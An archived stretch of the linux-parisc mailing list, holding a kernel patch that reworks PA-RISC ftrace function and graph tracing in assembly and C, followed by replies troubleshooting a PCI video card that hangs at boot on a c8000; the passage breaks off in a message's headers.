Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 13 22:59:18 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqRsb-0007Au-Cv
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Apr 2016 22:59:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753663AbcDMU7Q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Apr 2016 16:59:16 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:55804 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753026AbcDMU7Q (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Apr 2016 16:59:16 -0400
Original-Received: from p100.box ([92.203.124.119]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0LjZn2-1bNJmg089w-00bYtu; Wed, 13 Apr 2016 22:58:46
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:EVukk35UOy0UOlfo+UNQA5uYHGR9TeOXYPmhehTeNqb8ECssVHr
 5UOXqaaVc/mWsspWwQzRrOT/J3csaIuA5XsU1KbOtE43imLBt+Q7AaTd6BLL3U0z34nwUgR
 52LyFh+0ZJIZLVsI0v+CIhJ5kTbp+EHYQedA59srlofuiV09nLMQPMeBNuTtjde5xGLZPrN
 HpoUB4bifUppIS0jwRNXQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:EDKenVqT3NI=:afY9vXqAI3Medy0xpvewhQ
 yL7wJtKBcXjhn0uYK9eri+KSGuydsAPq/aM2k7IBzIHYgX9lMXmOjDEXqG5FfEklXC/WIwGUP
 76dn46iwcXkDcq1xH8pQ5tmMZobsR+N0YHduDsvgl2PL8/QyeNGTA/JwZBdWmcC/HKuBvV1Gh
 /np4RFNn0s+kaID7bapMIeLpRityJ14tNnBbxNEXiXLBmbmaOU1dsb2nGrdHU+aveehWK/0vS
 /mZdglXxGyb3typGDFMSyMWcewUBidWqGv1B53VSVRPkpWW2Lkuxd4mh8onD3IuF97dJkxGfr
 fjopYF/eR1nTcjaXHjuE83jstBxgKV3ZqTg5+2+940ogHf/9VG+HGTIGVwEjN3BeCvxbW1JJ5
 N/qKoySS7Gdfz/qDf/AZPvZYe7Ni7jIYiuD/y+1ZLJe8aPXCMPOvjVRQWqP65bOrPjju4O8Eu
 oHuPycfISM7JPK1dIpOZrs6X3vBKZBNjiPIsnaXkEieDfN6LdbOSbY0M0P381G3hq1thOc0qC
 X6W9lDI84UY631yHgv+KEmJ0XXWKugT6S0XXRFdUjocGbYhkXR0yd5ehkf/C6YGmTptTZ8qno
 hd9XXo/eVfKIeub+VTDsnBeMT/CptiK/Vc2sHdKJXsesz4+QsX8TT8N30WtaRHiF27VN8C9uA
 3n8bwzxWCMNsYx0Qx6MVRUp1hv94tvy/xKvpmHQbalF2kEMEEOhPugDwLOEpUgJ5LjCeGl16n
 pYdTcZV0S65tCA5S1w62r4usO7A65mzXPfw/opr7f5bY1tr6xrPuTYyR/zo=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26622
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26622>

Fix the FTRACE function tracers for 32- and 64-bit kernel.
Reimplement some coding in assembly and utilize some optimizations, e.g.
put mcount() and ftrace_stub() into one L1 cacheline.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 14f655c..86167bf 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -4,8 +4,8 @@ config PARISC
 	select ARCH_MIGHT_HAVE_PC_PARPORT
 	select HAVE_IDE
 	select HAVE_OPROFILE
-	select HAVE_FUNCTION_TRACER if 64BIT
-	select HAVE_FUNCTION_GRAPH_TRACER if 64BIT
+	select HAVE_FUNCTION_TRACER
+	select HAVE_FUNCTION_GRAPH_TRACER
 	select ARCH_WANT_FRAME_POINTERS
 	select RTC_CLASS
 	select RTC_DRV_GENERIC
diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index bc989e5..68b7cbd 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -2,9 +2,13 @@ menu "Kernel hacking"
 
 source "lib/Kconfig.debug"
 
+config TRACE_IRQFLAGS_SUPPORT
+	def_bool y
+
 config DEBUG_RODATA
        bool "Write protect kernel read-only data structures"
        depends on DEBUG_KERNEL
+       default y
        help
          Mark the kernel read-only data as write-protected in the pagetables,
          in order to catch accidental (and incorrect) writes to such const
diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 965a099..75cb451 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -62,9 +62,7 @@ cflags-y	+= -mdisable-fpregs
 
 # Without this, "ld -r" results in .text sections that are too big
 # (> 0x40000) for branches to reach stubs.
-ifndef CONFIG_FUNCTION_TRACER
-  cflags-y	+= -ffunction-sections
-endif
+cflags-y	+= -ffunction-sections
 
 # Use long jumps instead of long branches (needed if your linker fails to
 # link a too big vmlinux executable). Not enabled for building modules.
diff --git a/arch/parisc/include/asm/ftrace.h b/arch/parisc/include/asm/ftrace.h
index 544ed8e..e635c83 100644
--- a/arch/parisc/include/asm/ftrace.h
+++ b/arch/parisc/include/asm/ftrace.h
@@ -5,16 +5,6 @@
 extern void mcount(void);
 
 /*
- * Stack of return addresses for functions of a thread.
- * Used in struct thread_info
- */
-struct ftrace_ret_stack {
-	unsigned long ret;
-	unsigned long func;
-	unsigned long long calltime;
-};
-
-/*
  * Primary handler of a function return.
  * It relays on ftrace_return_to_handler.
  * Defined in entry.S
diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index ff87b46..69a1118 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -15,11 +15,7 @@ ifdef CONFIG_FUNCTION_TRACER
 # Do not profile debug and lowlevel utilities
 CFLAGS_REMOVE_ftrace.o = -pg
 CFLAGS_REMOVE_cache.o = -pg
-CFLAGS_REMOVE_irq.o = -pg
-CFLAGS_REMOVE_pacache.o = -pg
 CFLAGS_REMOVE_perf.o = -pg
-CFLAGS_REMOVE_traps.o = -pg
-CFLAGS_REMOVE_unaligned.o = -pg
 CFLAGS_REMOVE_unwind.o = -pg
 endif
 
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 623496c..39127d3 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -1970,43 +1970,98 @@ pt_regs_ok:
 	b	intr_restore
 	copy	%r25,%r16
 
-	.import schedule,code
 syscall_do_resched:
-	BL	schedule,%r2
+	load32	syscall_check_resched,%r2 /* if resched, we start over again */
+	load32	schedule,%r19
+	bv	%r0(%r19)		/* jumps to schedule() */
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #else
 	nop
 #endif
-	b	syscall_check_resched	/* if resched, we start over again */
-	nop
 ENDPROC(syscall_exit)
 
 
 #ifdef CONFIG_FUNCTION_TRACER
+
 	.import ftrace_function_trampoline,code
-ENTRY(_mcount)
-	copy	%r3, %arg2
+	.align L1_CACHE_BYTES
+	.globl mcount
+	.type  mcount, @function
+ENTRY(mcount)
+_mcount:
+	.export _mcount,data
+	.proc
+	.callinfo caller,frame=0
+	.entry
+	/*
+	 * The 64bit mcount() function pointer needs 4 dwords, of which the
+	 * first two are free.  We optimize it here and put 2 instructions for
+	 * calling mcount(), and 2 instructions for ftrace_stub().  That way we
+	 * have all on one L1 cacheline.
+	 */
 	b	ftrace_function_trampoline
+	copy	%r3, %arg2	/* caller original %sp */
+ftrace_stub:
+	.globl ftrace_stub
+        .type  ftrace_stub, @function
+#ifdef CONFIG_64BIT
+	bve	(%rp)
+#else
+	bv	%r0(%rp)
+#endif
 	nop
-ENDPROC(_mcount)
+#ifdef CONFIG_64BIT
+	.dword mcount
+	.dword 0 /* code in head.S puts value of global gp here */
+#endif
+	.exit
+	.procend
+ENDPROC(mcount)
 
+	.align 8
+	.globl return_to_handler
+	.type  return_to_handler, @function
 ENTRY(return_to_handler)
-	load32	return_trampoline, %rp
-	copy	%ret0, %arg0
-	copy	%ret1, %arg1
-	b	ftrace_return_to_handler
-	nop
-return_trampoline:
-	copy	%ret0, %rp
-	copy	%r23, %ret0
-	copy	%r24, %ret1
+	.proc
+	.callinfo caller,frame=FRAME_SIZE
+	.entry
+	.export parisc_return_to_handler,data
+parisc_return_to_handler:
+	copy %r3,%r1
+	STREG %r0,-RP_OFFSET(%sp)	/* store 0 as %rp */
+	copy %sp,%r3
+	STREGM %r1,FRAME_SIZE(%sp)
+	STREG %ret0,8(%r3)
+	STREG %ret1,16(%r3)
 
-.globl ftrace_stub
-ftrace_stub:
+#ifdef CONFIG_64BIT
+	loadgp
+#endif
+
+	/* call ftrace_return_to_handler(0) */
+#ifdef CONFIG_64BIT
+	ldo -16(%sp),%ret1		/* Reference param save area */
+#endif
+	BL ftrace_return_to_handler,%r2
+	ldi 0,%r26
+	copy %ret0,%rp
+
+	/* restore original return values */
+	LDREG 8(%r3),%ret0
+	LDREG 16(%r3),%ret1
+
+	/* return from function */
+#ifdef CONFIG_64BIT
+	bve	(%rp)
+#else
 	bv	%r0(%rp)
-	nop
+#endif
+	LDREGM -FRAME_SIZE(%sp),%r3
+	.exit
+	.procend
 ENDPROC(return_to_handler)
+
 #endif	/* CONFIG_FUNCTION_TRACER */
 
 #ifdef CONFIG_IRQSTACKS
diff --git a/arch/parisc/kernel/ftrace.c b/arch/parisc/kernel/ftrace.c
index 559d400..b13f9ec 100644
--- a/arch/parisc/kernel/ftrace.c
+++ b/arch/parisc/kernel/ftrace.c
@@ -1,6 +1,6 @@
 /*
  * Code for tracing calls in Linux kernel.
- * Copyright (C) 2009 Helge Deller <deller@gmx.de>
+ * Copyright (C) 2009-2016 Helge Deller <deller@gmx.de>
  *
  * based on code for x86 which is:
  * Copyright (C) 2007-2008 Steven Rostedt <srostedt@redhat.com>
@@ -13,104 +13,21 @@
 #include <linux/init.h>
 #include <linux/ftrace.h>
 
+#include <asm/assembly.h>
 #include <asm/sections.h>
 #include <asm/ftrace.h>
 
 
-
 #ifdef CONFIG_FUNCTION_GRAPH_TRACER
-
-/* Add a function return address to the trace stack on thread info.*/
-static int push_return_trace(unsigned long ret, unsigned long long time,
-				unsigned long func, int *depth)
-{
-	int index;
-
-	if (!current->ret_stack)
-		return -EBUSY;
-
-	/* The return trace stack is full */
-	if (current->curr_ret_stack == FTRACE_RETFUNC_DEPTH - 1) {
-		atomic_inc(&current->trace_overrun);
-		return -EBUSY;
-	}
-
-	index = ++current->curr_ret_stack;
-	barrier();
-	current->ret_stack[index].ret = ret;
-	current->ret_stack[index].func = func;
-	current->ret_stack[index].calltime = time;
-	*depth = index;
-
-	return 0;
-}
-
-/* Retrieve a function return address to the trace stack on thread info.*/
-static void pop_return_trace(struct ftrace_graph_ret *trace, unsigned long *ret)
-{
-	int index;
-
-	index = current->curr_ret_stack;
-
-	if (unlikely(index < 0)) {
-		ftrace_graph_stop();
-		WARN_ON(1);
-		/* Might as well panic, otherwise we have no where to go */
-		*ret = (unsigned long)
-			dereference_function_descriptor(&panic);
-		return;
-	}
-
-	*ret = current->ret_stack[index].ret;
-	trace->func = current->ret_stack[index].func;
-	trace->calltime = current->ret_stack[index].calltime;
-	trace->overrun = atomic_read(&current->trace_overrun);
-	trace->depth = index;
-	barrier();
-	current->curr_ret_stack--;
-
-}
-
-/*
- * Send the trace to the ring-buffer.
- * @return the original return address.
- */
-unsigned long ftrace_return_to_handler(unsigned long retval0,
-				       unsigned long retval1)
-{
-	struct ftrace_graph_ret trace;
-	unsigned long ret;
-
-	pop_return_trace(&trace, &ret);
-	trace.rettime = local_clock();
-	ftrace_graph_return(&trace);
-
-	if (unlikely(!ret)) {
-		ftrace_graph_stop();
-		WARN_ON(1);
-		/* Might as well panic. What else to do? */
-		ret = (unsigned long)
-			dereference_function_descriptor(&panic);
-	}
-
-	/* HACK: we hand over the old functions' return values
-	   in %r23 and %r24. Assembly in entry.S will take care
-	   and move those to their final registers %ret0 and %ret1 */
-	asm( "copy %0, %%r23 \n\t"
-	     "copy %1, %%r24 \n" : : "r" (retval0), "r" (retval1) );
-
-	return ret;
-}
-
 /*
  * Hook the return address and push it in the stack of return addrs
  * in current thread info.
  */
-void prepare_ftrace_return(unsigned long *parent, unsigned long self_addr)
+static void prepare_ftrace_return(unsigned long *parent, unsigned long self_addr)
 {
 	unsigned long old;
-	unsigned long long calltime;
 	struct ftrace_graph_ent trace;
+	extern int parisc_return_to_handler;
 
 	if (unlikely(ftrace_graph_is_dead()))
 		return;
@@ -119,64 +36,47 @@ void prepare_ftrace_return(unsigned long *parent, unsigned long self_addr)
 		return;
 
 	old = *parent;
-	*parent = (unsigned long)
-		  dereference_function_descriptor(&return_to_handler);
 
-	if (unlikely(!__kernel_text_address(old))) {
-		ftrace_graph_stop();
-		*parent = old;
-		WARN_ON(1);
-		return;
-	}
-
-	calltime = local_clock();
+	trace.func = self_addr;
+	trace.depth = current->curr_ret_stack + 1;
 
-	if (push_return_trace(old, calltime,
-				self_addr, &trace.depth) == -EBUSY) {
-		*parent = old;
+	/* Only trace if the calling function expects to */
+	if (!ftrace_graph_entry(&trace))
 		return;
-	}
 
-	trace.func = self_addr;
+        if (ftrace_push_return_trace(old, self_addr, &trace.depth,
+			0 ) == -EBUSY)
+                return;
 
-	/* Only trace if the calling function expects to */
-	if (!ftrace_graph_entry(&trace)) {
-		current->curr_ret_stack--;
-		*parent = old;
-	}
+	/* activate parisc_return_to_handler() as return point */
+	*parent = (unsigned long) &parisc_return_to_handler;
 }
-
 #endif /* CONFIG_FUNCTION_GRAPH_TRACER */
 
-
-void ftrace_function_trampoline(unsigned long parent,
+void notrace ftrace_function_trampoline(unsigned long parent,
 				unsigned long self_addr,
 				unsigned long org_sp_gr3)
 {
-	extern ftrace_func_t ftrace_trace_function;
+	extern ftrace_func_t ftrace_trace_function;  /* depends on CONFIG_DYNAMIC_FTRACE */
+	extern int ftrace_graph_entry_stub(struct ftrace_graph_ent *trace);
 
 	if (ftrace_trace_function != ftrace_stub) {
-		ftrace_trace_function(parent, self_addr);
+		/* struct ftrace_ops *op, struct pt_regs *regs); */
+		ftrace_trace_function(parent, self_addr, NULL, NULL);
 		return;
 	}
+
 #ifdef CONFIG_FUNCTION_GRAPH_TRACER
-	if (ftrace_graph_entry && ftrace_graph_return) {
-		unsigned long sp;
+	if (ftrace_graph_return != (trace_func_graph_ret_t) ftrace_stub ||
+		ftrace_graph_entry != ftrace_graph_entry_stub) {
 		unsigned long *parent_rp;
 
-                asm volatile ("copy %%r30, %0" : "=r"(sp));
-		/* sanity check: is stack pointer which we got from
-		   assembler function in entry.S in a reasonable
-		   range compared to current stack pointer? */
-		if ((sp - org_sp_gr3) > 0x400)
-			return;
-
 		/* calculate pointer to %rp in stack */
-		parent_rp = (unsigned long *) org_sp_gr3 - 0x10;
+		parent_rp = (unsigned long *) (org_sp_gr3 - RP_OFFSET);
 		/* sanity check: parent_rp should hold parent */
 		if (*parent_rp != parent)
 			return;
-		
+
 		prepare_ftrace_return(parent_rp, self_addr);
 		return;
 	}
diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
index 75aa0db..bbbe360 100644
--- a/arch/parisc/kernel/head.S
+++ b/arch/parisc/kernel/head.S
@@ -129,6 +129,15 @@ $pgt_fill_loop:
 	/* And the stack pointer too */
 	ldo             THREAD_SZ_ALGN(%r6),%sp
 
+#if defined(CONFIG_64BIT) && defined(CONFIG_FUNCTION_TRACER)
+	.import _mcount,data
+	/* initialize mcount FPTR */
+	/* Get the global data pointer */
+	loadgp
+	load32		PA(_mcount), %r10
+	std		%dp,0x18(%r10)
+#endif
+
 #ifdef CONFIG_SMP
 	/* Set the smp rendezvous address into page zero.
 	** It would be safer to do this in init_smp_config() but
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI video card hangs during system boot
Date: Thu, 14 Apr 2016 09:48:09 +0930
Lines: 25
Approved: news@gmane.org
Message-ID: <CAFk90B_oAkq=JD0msjm2ZM2oZWAUd6yqh-XnC1Kk4HKHGOBt0w@mail.gmail.com>
References: <CACrbsaAVBQw5zSiuS9xYo+vuP8sFk1a94FSXVz_sRGkMP+60Jg@mail.gmail.com>
	<1587186.CtnrnCsSzp@caliban.sf-tec.de>
	<570D38BF.7040307@bell.net>
	<CACrbsaBBT20+_GtJD3XMxob7Pz+mhdw7BE0h3uQSpKq-VSOHYA@mail.gmail.com>
	<570E5F69.4010203@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460593101 8072 80.91.229.3 (14 Apr 2016 00:18:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2016 00:18:21 +0000 (UTC)
Cc: Simone Mannori <simone.mannori@gmail.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 14 02:18:16 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqUz9-000867-9c
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Apr 2016 02:18:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752670AbcDNASN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Apr 2016 20:18:13 -0400
Original-Received: from mail-wm0-f44.google.com ([74.125.82.44]:37951 "EHLO
	mail-wm0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752669AbcDNASK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Apr 2016 20:18:10 -0400
Original-Received: by mail-wm0-f44.google.com with SMTP id u206so102651483wme.1
        for <linux-parisc@vger.kernel.org>; Wed, 13 Apr 2016 17:18:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc;
        bh=XarZi1q9opbv0rxsIre/lJ97VqDMVMs+gmbLb0isihc=;
        b=pudJ3LVQx7OA2yhx2B742DZpo1m0bITli8JyZFJUnfbGIQr5NnAzHlDM74vF4DCRBT
         pm5EiE2mTLw3szIx02FHtLs4hCeAbiop1oIvmXuuTtg93APAU/mUVGzRrhSyF4G/Cm7u
         AJuBc4OwJLWyedXhVoQ3sA+8vjM8KK6OFYXjXlzj2pwyqyIR2tREBGrYUF0AzZq8Zski
         WYofjj3tQp6MNAC9+vnp+8/U3j4disOaEGXNPsGEi0nOIGc1F+uVw1gaplMeLQUyLnxV
         Ixjv29pnBLf+WF2ddL4+28782HrYrBPwuNlFc55F8Ee4lEVD+kyoqbT8ViD8ujnuRmNE
         aaTA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=XarZi1q9opbv0rxsIre/lJ97VqDMVMs+gmbLb0isihc=;
        b=joDgih1XahWKxL6nYRp7jfh6Cs4u7W0eE8DJa4P2XAdlZ6CvWC8tWqhscigM+dEtvx
         7F0xn45H9lPRwnvhX67/kGGEKHjY6gCBtmJoTAz54dTKy4R1VjjK8rYQ9hg1aHfiNO82
         YHrR0L9s95wnq51yXDIU0OaJxEo/UGSePRyo4Cj6mql9S+Lg8ziYePmmLIS2xn1rjwPO
         GF1Hf8htn3i+yl5Ga1qDY+8eVdbVTd+ZJJ4XORAvM0Y4qzAKBIkE0mZdTp7E8hYuD9jk
         r18mUWFcaKFrbs9PvN+uEiNiGRfbRli3FjJiaaYflFcGiBxfSH+A0BwZnTE2yATmzLQW
         hWlQ==
X-Gm-Message-State: AOPr4FV7o4yhqsKdvaCcSByLeIrNoLV6rHJqDmoTJ6usQNwiffsDTBnWAb+Qfs7Wr4KRxyjPMOdq07Vx7Yphug==
X-Received: by 10.28.214.137 with SMTP id n131mr13152703wmg.33.1460593089379;
 Wed, 13 Apr 2016 17:18:09 -0700 (PDT)
Original-Received: by 10.28.183.86 with HTTP; Wed, 13 Apr 2016 17:18:09 -0700 (PDT)
In-Reply-To: <570E5F69.4010203@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26623
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26623>

On 14 April 2016 at 00:32, John David Anglin <dave.anglin@bell.net> wrote:
> On 2016-04-13 3:06 AM, Simone Mannori wrote:
>>>
>>> Maybe pulling FireGL X1 will help:
>>>
>>> https://lists.freedesktop.org/archives/dri-users/2015-February/000034.html
>>
>> Already done Dave: same error message during system boot. Just to be
>> clear, the error message is also indipendent by the PCI slot position.
>> Thanks for the hint, anyway.
>
> Just one further thought regarding FireGL X1.  The OLS article by Grant
> referenced in the above
> link indicated that a common problem in porting drivers to parisc was timing
> issues with I/O writes.
> This was fixed in a couple of drivers by doing a read after doing a write.
> Possibly, the radeon driver
> could be hacked to always read after write as a test.

I've tried this. It doesn't change the failure mode.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI video card hangs during system boot
Date: Wed, 13 Apr 2016 20:29:04 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <4E86DE96-4108-41F1-872C-F7E04075466A@bell.net>
References: <CACrbsaAVBQw5zSiuS9xYo+vuP8sFk1a94FSXVz_sRGkMP+60Jg@mail.gmail.com> <1587186.CtnrnCsSzp@caliban.sf-tec.de> <570D38BF.7040307@bell.net> <CACrbsaBBT20+_GtJD3XMxob7Pz+mhdw7BE0h3uQSpKq-VSOHYA@mail.gmail.com> <570E5F69.4010203@bell.net> <CAFk90B_oAkq=JD0msjm2ZM2oZWAUd6yqh-XnC1Kk4HKHGOBt0w@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1460593758 17354 80.91.229.3 (14 Apr 2016 00:29:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2016 00:29:18 +0000 (UTC)
Cc: Simone Mannori <simone.mannori@gmail.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Graham Gower <graham.gower@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 14 02:29:09 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqV9h-00031M-1e
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Apr 2016 02:29:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751652AbcDNA3I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Apr 2016 20:29:08 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:35815 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750945AbcDNA3H convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Apr 2016 20:29:07 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20160414002905.GWAN12255.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Wed, 13 Apr 2016 20:29:05 -0400
Original-Received: from [192.168.2.10] (really [184.144.122.130])
          by mtlspm02.bell.net with ESMTP
          id <20160414002905.ORWG22473.mtlspm02.bell.net@[192.168.2.10]>;
          Wed, 13 Apr 2016 20:29:05 -0400
In-Reply-To: <CAFk90B_oAkq=JD0msjm2ZM2oZWAUd6yqh-XnC1Kk4HKHGOBt0w@mail.gmail.com>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.570EE451.0060,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26624
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26624>

On 2016-04-13, at 8:18 PM, Graham Gower wrote:

> On 14 April 2016 at 00:32, John David Anglin <dave.anglin@bell.net> wrote:
>> On 2016-04-13 3:06 AM, Simone Mannori wrote:
>>>> 
>>>> Maybe pulling FireGL X1 will help:
>>>> 
>>>> https://lists.freedesktop.org/archives/dri-users/2015-February/000034.html
>>> 
>>> Already done Dave: same error message during system boot. Just to be
>>> clear, the error message is also indipendent by the PCI slot position.
>>> Thanks for the hint, anyway.
>> 
>> Just one further thought regarding FireGL X1.  The OLS article by Grant
>> referenced in the above
>> link indicated that a common problem in porting drivers to parisc was timing
>> issues with I/O writes.
>> This was fixed in a couple of drivers by doing a read after doing a write.
>> Possibly, the radeon driver
>> could be hacked to always read after write as a test.
> 
> I've tried this. It doesn't change the failure mode.

Do you know if c8000 can setup any non HP card (e.g., ATI Rage XL)?  It was reported that
some old cards would work with PDC firmware in unaccelerated fb mode, but c8000 has
x86 emulator so it might be able to enable accelerated 2d/3d.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI video card hangs during system boot
Date: Thu, 14 Apr 2016 11:14:02 +0930
Lines: 38
Approved: news@gmane.org
Message-ID: <CAFk90B-ou1uOhviGW_B+wMJr2mJSDfrPw=4Nrxf1sXJNQZd9SA@mail.gmail.com>
References: <CACrbsaAVBQw5zSiuS9xYo+vuP8sFk1a94FSXVz_sRGkMP+60Jg@mail.gmail.com>
	<1587186.CtnrnCsSzp@caliban.sf-tec.de>
	<570D38BF.7040307@bell.net>
	<CACrbsaBBT20+_GtJD3XMxob7Pz+mhdw7BE0h3uQSpKq-VSOHYA@mail.gmail.com>
	<570E5F69.4010203@bell.net>
	<CAFk90B_oAkq=JD0msjm2ZM2oZWAUd6yqh-XnC1Kk4HKHGOBt0w@mail.gmail.com>
	<4E86DE96-4108-41F1-872C-F7E04075466A@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460598258 14856 80.91.229.3 (14 Apr 2016 01:44:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Apr 2016 01:44:18 +0000 (UTC)
Cc: Simone Mannori <simone.mannori@gmail.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 14 03:44:12 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aqWKF-0007wm-Fq
